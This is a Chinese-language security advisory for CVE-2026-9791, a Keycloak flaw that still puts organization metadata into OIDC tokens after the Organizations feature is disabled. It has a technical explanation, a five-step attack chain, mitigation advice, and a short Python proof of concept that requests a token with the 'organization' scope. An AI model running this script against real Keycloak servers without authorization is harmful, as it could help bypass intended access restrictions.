IPBUF安全漏洞报告
English
CVE-2026-9791 CVSS 4.3 中危

CVE-2026-9791 Keycloak组织元数据信息泄露漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9791
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

信息泄露Keycloak逻辑漏洞OIDC身份认证

漏洞概述

Keycloak存在一处信息泄露漏洞。即便管理员已禁用Organizations功能,拥有现有组织成员身份的认证用户仍可通过账户API或请求包含'organization'范围的OIDC令牌,获取组织元数据。这可能导致资源服务器基于泄露信息做出错误的授权决策。

技术细节

该漏洞的核心在于Keycloak在处理Organizations功能禁用时的状态不一致与校验缺失。尽管管理员在服务器端禁用了Organizations功能,旨在停止基于组织的访问控制,但系统中预存的用户-组织关联关系并未被彻底清除或隔离。攻击者仅需是一个拥有现有组织成员身份的认证用户。利用此漏洞,攻击者可以向Keycloak的账户API发起请求,或者在OIDC认证流程中,故意向令牌端点请求包含'organization'范围的令牌。由于后端在生成令牌时未能正确校验该功能是否已被禁用,Keycloak依然会检索数据库中的组织信息,并将其作为声明嵌入到ID Token或Access Token中。这导致本应失效的敏感组织元数据(如组织ID、名称及角色)被泄露。由于资源服务器通常信任Keycloak签发的令牌,它们会继续依据这些元数据执行授权逻辑,从而可能导致用户获得不当的访问权限,破坏了系统的安全边界。

攻击链分析

STEP 1
侦察
攻击者识别目标Keycloak服务器,确认其存在OIDC认证端点。
STEP 2
身份认证
攻击者使用已有的低权限账户(该账户在Organizations功能禁用前已拥有组织成员身份)进行登录。
STEP 3
漏洞利用
攻击者构造OIDC令牌请求,故意在scope参数中包含'organization',并提交给Keycloak令牌端点。
STEP 4
信息泄露
Keycloak服务器忽略功能禁用状态,在返回的令牌中包含了敏感的组织元数据。
STEP 5
权限提升
攻击者使用该令牌访问依赖组织元数据的资源服务器,绕过管理员预期的安全限制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Keycloak CVE-2026-9791 Organization Metadata Disclosure # Description: PoC to retrieve organization metadata via OIDC token request even when the feature is disabled. # Configuration target_url = "https://<keycloak-domain>/realms/<realm-name>/protocol/openid-connect/token" client_id = "<client-id>" # e.g., account-console username = "<attacker-username>" password = "<attacker-password>" def exploit(): # Payload requesting 'organization' scope which should be disabled data = { "grant_type": "password", "client_id": client_id, "username": username, "password": password, "scope": "openid profile email organization" # The key trigger } try: response = requests.post(target_url, data=data) if response.status_code == 200: token_data = response.json() access_token = token_data.get('access_token') print("[+] Exploit successful! Token received.") print("[+] Access Token (Base64):", access_token) print("[+] Decode the JWT to verify 'organization' claims are present.") else: print("[-] Request failed. Status code:", response.status_code) print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
建议临时检查所有资源服务器的授权配置,确保不会仅凭令牌中的组织元数据即赋予高权限。同时,可限制对账户API的访问,直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表